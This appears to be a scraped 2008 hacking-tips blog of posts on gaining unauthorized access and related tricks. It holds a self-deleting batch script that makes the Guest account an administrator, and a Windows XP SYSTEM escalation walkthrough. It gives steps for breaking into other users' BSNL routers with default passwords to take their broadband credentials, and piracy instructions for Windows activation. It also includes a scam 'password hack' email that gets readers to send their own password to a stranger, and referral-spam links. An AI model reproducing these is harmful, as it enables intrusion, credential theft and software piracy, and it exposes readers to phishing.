We then go to 100.100.100.1, and then launch \Web Snake, and mirror the entire server. Set Web Snake to NOT download anything over about 20K. (not many HTML pages are bigger than this) This speeds things up some, and keeps you from getting a lot of files and images you don't care about. This can take a long time, so consider running it right before bed time. Once you have an image of the entire server, you look through the directories listed, and find /target. When we open that directory, we find its contents, and all of its sub-directories listed. Let's say we find /target/games/zip/zipindex.html . This would be the index page that would be displayed had you gone through the password procedure, and allowed it to redirect you here.By simply typing in the url www.target.com/games/zip/zipindex.html you will be onthe index page and ready to follow the links for downloadin
g.

HaCk "GUEST" with Admin privileges........

Well thats possible ..
Please Dont missuse This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.
HaCk "GUEST" with Admin privileges........


echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0




Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...


~ Cheers ~



* Haking "admin" from "user" mode n more



really that is possible !

u know why is it a "user" account because it lacks come service layer than that in "administrator" account

Using simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. At the time I’m publishing this, I have been unable to find any other mention of people running an entire desktop as system, although I have seen some articles regarding the SYSTEM command prompt.

Local privilege escalation is useful on any system that a hacker may compromise; the system account allows for several other things that aren’t normally possible (like resetting the administrator password).

The Local System account is used by the Windows OS to control various aspects of the system (kernel, services, etc); the account shows up as SYSTEM in the Task Manager

Local System differs from an Administrator account in that it has full control of the operating system, similar to root on a *nix machine. Most System processes are required by the operating system, and cannot be closed, even by an Administrator account; attempting to close them will result in a error message. The following quote from Wikipedia explains this in a easy to understand way:


You can trick the system into running a program, script, or batch file with system level privileges.

One sample

One trick is to use a vulnerability in Windows long filename support.
Try placing an executable named Program.*, in the root directory of the "Windows" drive. Then reboot. The system may run the Program.*, with system level privileges. So long as one of the applications in the "Program Files" directory is a startup app. The call to "Program Files", will be intercepted by Program.*.

Microsoft eventually caught on to that trick. Now days, more and more, of the startup applications are being coded to use limited privileges.


Quote:

In Windows NT and later systems derived from it (Windows 2000, Windows XP, Windows Server 2003 and Windows Vista), there may or may not be a superuser. By default, there is a superuser named Administrator, although it is not an exact analogue of the Unix root superuser account. Administrator does not have all the privileges of root because some superuser privileges are assigned to the Local System account in Windows NT.


Under normal circumstances, a user cannot run code as System, only the operating system itself has this ability, but by using the command line, we will trick Windows into running our desktop as System, along with all applications that are started from within.
Getting SYSTEM
I will now walk you through the process of obtaining SYSTEM privileges.
To start, lets open up a command prompt (Start > Run > cmd > [ENTER]).
At the prompt, enter the following command, then press [ENTER]:
Code:
at

If it responds with an “access denied” error, then we are out of luck, and you’ll have to try another method of privilege escalation; if it responds with “There are no entries in the list” (or sometimes with multiple entries already in the list) then we are good. Access to the at command varies, on some installations of Windows, even the Guest account can access it, on others it’s limited to Administrator accounts. If you can use the at command, enter the following commands, then press [ENTER]:

Code:
at 15:25 /interactive “cmd.exe”

Lets break down the preceding code. The “at” told the machine to run the at command, everything after that are the operators for the command, the important thing here, is to change the time (24 hour format) to one minute after the time currently set on your computers clock, for example: If your computer’s clock says it’s 4:30pm, convert this to 24 hour format (16:30) then use 16:31 as the time in the command. If you issue the at command again with no operators, then you should see something similar to this:

When the system clock reaches the time you set, then a new command prompt will magically run. The difference is that this one is running with system privileges (because it was started by the task scheduler service, which runs under the Local System account). It should look like this:

You’ll notice that the title bar has changed from cmd.exe to svchost.exe (which is short for Service Host). Now that we have our system command prompt, you may close the old one. Run Task Manager by either pressing CTRL+ALT+DELETE or typing taskmgr at the command prompt. In task manager, go to the processes tab, and kill explorer.exe; your desktop and all open folders should disappear, but the system command prompt should still be there.
At the system command prompt, enter in the following:

Code:
explorer.exe



A desktop will come back up, but what this? It isn’t your desktop. Go to the start menu and look at the user name, it should say “SYSTEM”. Also open up task manager again, and you’ll notice that explorer.exe is now running as SYSTEM. The easiest way to get back into your own desktop, is to log out and then log back in. The following 2 screenshots show my results (click to zoom):

System user name on start menu


explorer.exe running under SYSTEM

What to do now
Now that we have SYSTEM access, everything that we run from our explorer process will have it too, browsers, games, etc. You also have the ability to reset the administrators password, and kill other processes owned by SYSTEM. You can do anything on the machine, the equivalent of root; You are now God of the Windows machine. I’ll leave the rest up to your imagination.





ADMINISTRATOR IN WELCOME SCREEN.


When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.
First you must ensure that the Administrator Account is enabled:
1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.


EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!


Start the Registry Editor Go to:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.

Enjoy

Saturday, June 14, 2008

You can access all these programs by going through RUN

You can access all these programs by going through START/RUN or Simply Click Windows Key+R

* SQL Client Configuration - cliconfg
* System Configuration Editor - sysedit
* System Configuration Utility - msconfig
* System File Checker Utility (Scan Immediately)- sfc /scannow
* System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce
* System File Checker Utility (Scan On Every Boot) - sfc /scanboot
* System File Checker Utility (Return to Default Setting)- sfc /revert
* System File Checker Utility (Purge File Cache)- sfc /purgecache
* System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x
* System Information - msinfo32.
* Task Manager – taskmgr
* System Properties - sysdm.cpl
* Task Manager – taskmgr
* TCP Tester - tcptest
* Telnet Client - telnet
* Tweak UI (if installed) - tweakui
* User Account Management- nusrmgr.cpl
* Utility Manager - utilman
* Windows Address Book - wab
* Windows Address Book Import Utility - wabmig
* Windows Backup Utility (if installed)- ntbackup
* Windows Explorer - explorer
* Windows Firewall- firewall.cpl
* Windows Magnifier- magnify
* Windows Management Infrastructure - wmimgmt.msc
* Windows Media Player - wmplayer
* Windows Messenger - msmsgs
* Windows Picture Import Wizard (need camera connected)- wiaacmgr
* Windows System Security Tool – syskey
* Windows Update Launches - wupdmgr
* Windows Version (to show which version of windows)- winver
* Windows XP Tour Wizard - tourstart
* Wordpad - write
* Password Properties - password.cpl
* Performance Monitor - perfmon.msc
* Phone and Modem Options - telephon.cpl
* Phone Dialer - dialer
* Pinball Game - pinball
* Power Configuration - powercfg.cpl
* Printers and Faxes - control printers
* Printers Folder – printers
* Private Character Editor - eudcedit
* Quicktime (If Installed)- QuickTime.cpl
* Real Player (if installed)- realplay
* Regional Settings - intl.cpl
* Registry Editor - regedit
* Registry Editor - regedit32
* Remote Access Phonebook - rasphone
* Remote Desktop - mstsc
* Removable Storage - ntmsmgr.msc
* Removable Storage Operator Requests - ntmsoprq.msc
* Resultant Set of Policy (XP Prof) - rsop.msc
* Scanners and Cameras - sticpl.cpl
* Scheduled Tasks - control schedtasks
* Security Center - wscui.cpl
* Services - services.msc
* Shared Folders - fsmgmt.msc
* Shuts Down Windows - shutdown
* Sounds and Audio - mmsys.cpl
* Spider Solitare Card Game - spider
* Malicious Software Removal Tool - mrt
* Microsoft Access (if installed) - access.cpl
* Microsoft Chat - winchat
* Microsoft Excel (if installed) - excel
* Microsoft Frontpage (if installed)- frontpg
* Microsoft Movie Maker - moviemk
* Microsoft Paint - mspaint
* Microsoft Powerpoint (if installed)- powerpnt
* Microsoft Word (if installed)- winword
* Microsoft Syncronization Tool - mobsync
* Minesweeper Game - winmine
* Mouse Properties - control mouse
* Mouse Properties - main.cpl
* Nero (if installed)- nero
* Netmeeting - conf
* Network Connections - control netconnections
* Network Connections - ncpa.cpl
* Network Setup Wizard - netsetup.cpl
* Notepad - notepad
* Nview Desktop Manager (If Installed)- nvtuicpl.cpl
* Object Packager - packager
* ODBC Data Source Administrator- odbccp32.cpl
* On Screen Keyboard - osk
* Opens AC3 Filter (If Installed) - ac3filter.cpl
* Outlook Express - msimn
* Paint – pbrush
* Keyboard Properties - control keyboard
* IP Configuration (Display Connection Configuration) - ipconfi/all
* IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns
* IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns
* IP Configuration (Release All Connections)- ipconfig /release
* IP Configuration (Renew All Connections)- ipconfig /renew
* IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns
* IP Configuration (Display DHCP Class ID)- ipconfig/showclassid
* IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid
* Java Control Panel (If Installed)- jpicpl32.cpl
* Java Control Panel (If Installed)- javaws
* Local Security Settings - secpol.msc
* Local Users and Groups - lusrmgr.msc
* Logs You Out Of Windows - logoff.....
* Accessibility Controls - access.cpl
* Accessibility Wizard - accwiz
* Add Hardware - Wizardhdwwiz.cpl
* Add/Remove Programs - appwiz.cpl
* Administrative Tools control - admintools
* Adobe Acrobat (if installed) - acrobat
* Adobe Designer (if installed)- acrodist
* Adobe Distiller (if installed)- acrodist
* Adobe ImageReady (if installed)- imageready
* Adobe Photoshop (if installed)- photoshop
* Automatic Updates - wuaucpl.cpl
* Bluetooth Transfer Wizard – fsquirt
* Calculator - calc
* Certificate Manager - certmgr.msc
* Character Map - charmap
* Check Disk Utility - chkdsk
* Clipboard Viewer - clipbrd
* Command Prompt - cmd
* Component Services - dcomcnfg
* Computer Management - compmgmt.msc
* Control Panel - control
* Date and Time Properties - timedate.cpl
* DDE Shares - ddeshare
* Device Manager - devmgmt.msc
* Direct X Control Panel (If Installed)- directx.cpl
* Direct X Troubleshooter- dxdiag
* Disk Cleanup Utility- cleanmgr
* Disk Defragment- dfrg.msc
* Disk Management- diskmgmt.msc
* Disk Partition Manager- diskpart
* Display Properties- control desktop
* Display Properties- desk.cpl
* Display Properties (w/Appearance Tab Preselected)- control color
* Dr. Watson System Troubleshooting Utility- drwtsn32
* Driver Verifier Utility- verifier
* Event Viewer- eventvwr.msc
* Files and Settings Transfer Tool- migwiz
* File Signature Verification Tool- sigverif
* Findfast- findfast.cpl
* Firefox (if installed)- firefox
* Folders Properties- control folders
* Fonts- control fonts
* Fonts Folder- fonts
* Free Cell Card Game- freecell
* Game Controllers- joy.cpl
* Group Policy Editor (XP Prof)- gpedit.msc
* Hearts Card Game- mshearts
* Help and Support- helpctr
* HyperTerminal- hypertrm
* Iexpress Wizard- iexpress
* Indexing Service- ciadv.msc
* Internet Connection Wizard- icwconn1
* Internet Explorer- iexplore
* Internet Setup Wizard- inetwiz
* Internet Properties- inetcpl.cp

Friday, June 13, 2008

make money online by surfing ads

make money online by surfing ads


make money online by surfing ads no need to
purchase or invest
just join & get 0.09$ in your account
link is http://bux.to/?r=sai143mohan

__________________________________________________________

make money online by surfing ads no need to
purchase or invest
just join & get 0.09$ in your account
http://world-bux.com/?r=sai143mohan


________________________________________________________

The process is easy! You simply click a link and view a
website for 30 seconds to earn money. You can earn even more by referring
friends. You'll get paid $0.01 for each website you personally view and $0.01
for each website your referrals view. Payment requests can be made every day
and are processed through Alert Pay. The minimum payout is $10.00.
link is http://www.angelbux.com/?r=sai143mohan

_____________________________________________________


At AdBux, we will PAY YOU to view or register
for websites that interest you, signup for free trials, shop online, and more!
With nearly 1 million members and available all over the world! Join now to
receive 1 FREE SHARE as a signup bonus!
____________________________________________________
The process is easy! You simply click a link and view a
website for 30 seconds to earn money. You can earn even more by referring
friends. You'll get paid $0.01 for each website you personally view and $0.01
for each website your referrals view. Payment requests can be made every day
and are processed through Alert Pay. The minimum payout is $10.00.
link is http://10bux.net/?r=sai143mohan

SEND FREE SMS FOR RELIANCE MOBILE

SEND FREE SMS( SETTING FOR RELIANCE (SIM)MOBILE )
Now on SMS SETTINGS

+919821000005
1>Service centre No:- +919863002222
2>Validity period:- Maximum
3>Message type:- Text
4>Reply path:- Off
5>Delivery report:- Off

SEND UNLIMITED MESSAGE'S FROM EMAIL

SEND UNLIMITED MESSAGE'S FROM EMAIL

919849n@airtelap.com Andhra Pradesh AirTel
919840n@airtelchennai.com Chennai Skycell / Airtel
919810n@airtelmail.com Delhi Airtel
919898n@airtelmail.com Gujarat Airtel
919890n@airtelmail.com Goa Airtel
919896n@airtelmail.com Haryana Airtel
919816n@airtelmail.com Himachal Pradesh Airtel
919845n@airtelkk.com Karnataka Airtel
919895n@airtelkerala.com Kerala Airtel
919831n@airtelkol.com or Kolkata Airtel
919893n@airtelmail.com Madhya Pradesh Airtel
919890n@airtelmail.com Maharashtra Airtel
919892n@airtelmail.com Mumbai Airtel
919815n@airtelmail.com Punjab Airtel
919894n@airtelmail.com Tamil Nadu Airtel
9842n@airsms.com Tamil Nadu Aircel

Idea Cellular
9848n@ideacellular.net Andhra Pradesh Idea Cellular
9824n@ideacellular. net Gujarat Idea Cellular
9822n@ideacellular.net Goa Idea Cellular
9822n@ideacellular.net Maharashtra Idea Cellular

Escotel
9812n@escotelmobile.com Haryana Escotel
9837n@escotelmobile.com Uttar Pradesh West Escotel
9847n@escotelmobile. com Kerala Escotel

BPL Mobile
9846n@bplmobile.com Kerala BPL Mobile
9823n@bplmobile.com Maharashtra BPL Mobile
9821n@bplmobile.com Mumbai BPL Mobile
9843n@bplmobile.com Pondicherry BPL Mobile
9823n@bplmobile.com Goa BPL Mobile
919843n@bplmobile.com Tamil Nadu BPL Mobile

My Private DOS Command..!!! I LOVE DOS

My Private DOS Command..!!! I LOVE DOS
1. actmovie
2. alg
3. append
4. arp
5. asr_fmt
6. asr_ldm
7. asr_pfu
8. at
9. atmadm
10. attrib
11. auditusr
12. autochk
13. autoconv
14. autofmt
15. autolfn
16. blastcln
17. bootcfg
18. bootok
19. bootvrfy
20. cacls
21. chcp
22. chkdsk
23. chkntfs
24. cidaemon
25. cipher
26. cisvc
27. ckcnv
28. cmd
29. command
30. comp
31. compact
32. control
33. convert
34. csrss
35. dcomcnfg
36. debug
37. defrag
38. dfrgfat
39. dfrgntfs
40. diantz
41. diskcomp
42. diskcopy
43. diskpart
44. diskperf
45. dllhost
46. dllhst3g
47. dmadmin
48. dmremote
49. doskey
50. dosx
51. dpalysvr
52. dpnsvr
53. driverquery
54. dumprep
55. dvdupgrd
56. dwwin
57. edit
58. edlin
59. esentutl
60. eventcreate
61. eventtriggers
62. exe2bin
63. expand
64. extrac32
65. fastopen
66. fc
67. find
68. findstr
69. finger
70. fixmapi
71. fltMc
72. fontview
73. forcedos
74. format
75. fsutil
76. ftp
77. gdi
78. getmic
79. gpupdate
80. gpresult
81. graftabi
82. graphics
83. help
84. hkcmd
85. hostname
86. ie4uinit
87. igfxtray
88. imapi
89. instlsp
90. ipconfig
91. ipsec6
92. ipv6
93. ipxroute
94. kb16
95. krnl386
96. label
97. lnkstub
98. loadfix
99. locator
100. lodctr
101. logagent
102. login
103. logman
104. logoff
105. logon
106. logonui
107. lpq
108. lpr
109. lsass
110. makecab
111. mapisrvr
112. mem
113. mode
114. mofcomp
115. more
116. mountvol
117. mpnotify
118. mqbkup
119. mqsvc
120. mqtgsvc
121. mrinfo
122. mscdexnt
123. msg
124. mshta
125. msswchx
126. mstinit
127. nbtstat
128. nddeapir
129. net
130. net1
131. netdde
132. netsh
133. netstat
134. nlsfunc
135. ntkrnlpa
136. ntoskrnl
137. ntvdm
138. nw16
139. nwscript
140. odbcconf
141. openfiles
142. pathping
143. pentnt
144. ping
145. ping6
146. powrcfg
147. print
148. proxycfg
149. pxcpya64
150. pxhpinst
151. pxinsa64
152. qappsrv
153. qprocess
154. qwinsta
155. rasautou
156. rasdial
157. rcp
158. rdpclip
159. rdsaddin
160. rdshost
161. recover
162. redir
163. reg
164. regini
165. regsvr32
166. regwiz
167. relog
168. replace
169. reset
170. rexec
171. route
172. routemon
173. rsh
174. rsm
175. rsmsink
176. rsopprov
177. rsvp
178. runas
179. rwinsta
180. savedump
181. sc
182. scardsvr
183. schtasks
184. sdbinst
185. secedit
186. services
187. sessmgr
188. sethc
189. setver
190. sfc
191. shadow
192. share
193. shmgrate
194. shutdown
195. skeys
196. smbinst
197. smlogsvc
198. smss
199. sort
200. spiisupd
201. spnpinst
202. spoolsv
203. sprestrt
204. subst
205. svchost
206. systeminfo
207. systray
208. taskkill
209. tasklist
210. taskman
211. tcmsetup
212. tcpsvcs
213. telnet
214. tftp
215. tlntadmn
216. tlntsess
217. tlntsvr
218. tracert
219. tracert6
220. tree
221. tscon
222. tscupgrd
223. tsdiscon
224. tskill
225. tsshutdn
226. typeperf
227. unlodctr
228. upnpcont
229. ups
230. user
231. userinit
232. usrlogon
233. usrmlnka
234. usrprbda
235. usrshuta
236. uwdf
237. vssadmin
238. vssvc
239. vwipxspx
240. w32tm
241. wbemtest
242. wdfmgr
243. win
244. winspool
245. winver
246. wmic
247. wmiprvse
248. wowdeb
249. wpnpinst
250. wscntfy
251. xcopy
? assoc
? break
? call
? cd
? chdir
? cls
? color
? copy
? date
? del
? dir
? dpath
? echo
? endlocal
? erase
? exit
? for
? ftype
? goto
? if
? keys
? md OR mkdir
? move
? path
? pause
? popd
? prompt
? pushd
? rd
? rem
? ren OR rename
? rmdir
? set
? setlocal
? shift
? start
? title
? time
? type
? ver
? verify
? vol


AND MORE COMMAND IN WINDOWS XP..!!!!

Make your copy of Windows XP 100% Genuine in 2 seconds !!

Make your copy of Windows XP 100% Genuine in 2 seconds !!
________________________________________________
Here are the tools to change your product key, and a working key (it will continue working as it's used by
students / teachers learning to install windows / software - so they expect it to go up and down like crazy!!)

No more cracks ever needed!


1) Either use keyfinder.exe or port_rockxp_v4.exe to change the key to the one in the txt file.

This process has been tested (and has been running without incident) for 3 months now. All validation checks are passed.

P.S: One word of warning; some antivirus programs will detect keyfinder.exe as a malware.
It isn't is this case; it's the program that allows you change your key (something mcft doesn't want you doing).
For those who don't trust that, I've also included rock_xp that allow you change the key too and virus programs
do not detect this a malware.



2) Or you can use the magic regfile so in only one click your copy of Windows XP will be 100% Genuine

1- run regifile .....without restart go to Mcft .

be sure of your genuine copy if still not believe by using "Microsoft Genuine Advantage Diagnostic Tool.exe"

2- Now Download and Install All Mcft Softs ( IE7 , WMP11 , Windows Defender ... ) without any Problem as a Genuine XP User !!

Have fun !!

Hack--- Gmail... Yahoo

Hack--- Gmail... Yahoo
How to hack Hotmail or Yahoo Passwords

This is the best way to hack anyone’s Hotmail or Yahoo passwords.
You can use your Hotmail or Yahoo or gmail address to get a Yahoo address and vice versa also. Here is how to do it.

First, open a new email message.
Type in the “To:” box this email address: "yserver_in@yahoo.com" In the subject line, type “LOST PASSWORD”.
In the body, type on the 1st line your email address (ex: you@hotmail.com or you@yahoo.com). On the 3rd line, type your password.
And on the 5th line, type the person you are trying to get the password from’s email address (ex: them@hotmail.com or them@yahoo.com).
And Dnt forget to add the content i provided.Here is an example of what the email should look like:
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
TO: yserver_in@yahoo.com
SUBJECT: LOST PASSWORD

You@hotmail/yahoo.com/gmail.com(ur email id)

12345678(ur password)

Them@yahoo.com/gmail(victim's email id)

(PIN or ZIP code--Optional)

pwd sys rtrv;
yserver_gxm477[lost password];
reportEmailId;
FROM YS_IN_DATABASE;
SHOW_UP [Id PWord];

**HACK BSNL BROADBAND**

**HACK BSNL BROADBAND**

This is a simple trick to hack bsnl broadband accounts...... no need to worry because it does not have any danger........


* know your ip address:- from this site:- http://www.whatismyip.com/
* Download:- ip scanner from site :-http://www.angryziber.com/w/Download
* open ip scanner.
* go to options tab\ select port\ and enter 80 in the 1st option. (enter port to scan)
* In the hostname option paste your ip address.....
* Click on the ip button next to the hostname(the one with a green arrow pointing up words..)
* After u click on it, it will automatically fill the ip range option..
* In the 1st option let it be your ip and the in the 2nd option fill ip greater than your.....(eg. ip your ip is 59.94.40.213 then in the next option fill as 59.94.45.213)
* click scan..
* it will give u a list of ips....
* there will be some ip's which will have a green light on its left side.
* select that ip and press :- ctrl +1 (not the no. pad one) or right click on that ip and select the option 'open computer' and then select the option in browser.....
* then it will ask for user name and pass.
* in user name type :- admin
* in pass type :- admin
* if it does not take try on other ip's with green light.
* when the page gets open go to home and click on 'WAN'.
* there u will get the users id and pass in coded form....
* download this password revealer:- http://www.scanwith.com/X-Pass_download.htm
* Extract file from that and then run 'x-pass'.
* drag the 'x' icon in the pass. field and u will get the pass.
* to check the pass :-http://10.240.160.195/webLogin.jsp

thats it........ enjoy..........
Note: This trick usually work for me and my friends but i can say theat it would work with your network too.

Test your Anti Virus

Test your Anti Virus

To test if your antivirus is in good shape you should do as in continuing:
Open Notepad and copy this text:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!$H+H*


the text should be in one horizontal line

Then save file as “eicar.com” including quotation-marks

After some seconds saving this file your antivirus should come with the message that this file is infected virus asking permision for its deletetion/clean.
This file is secure and its not gonna infect your computer in whatever way.It is a standart text developed by the European Institute for Computer Anti-virus Research (EICAR).Every antivirus is programed to load this file as a virus.

If your antivirus is not going to hack this file as a virus ,in your screen will appear DOS window with this text EICAR-STANDARD-ANTIVIRUS-TEST-FILE“.If this happens then you should probably find some other Antivirus up to date,meaning your PC might
already being infected from viruses and your curent antivirus do not recognize them.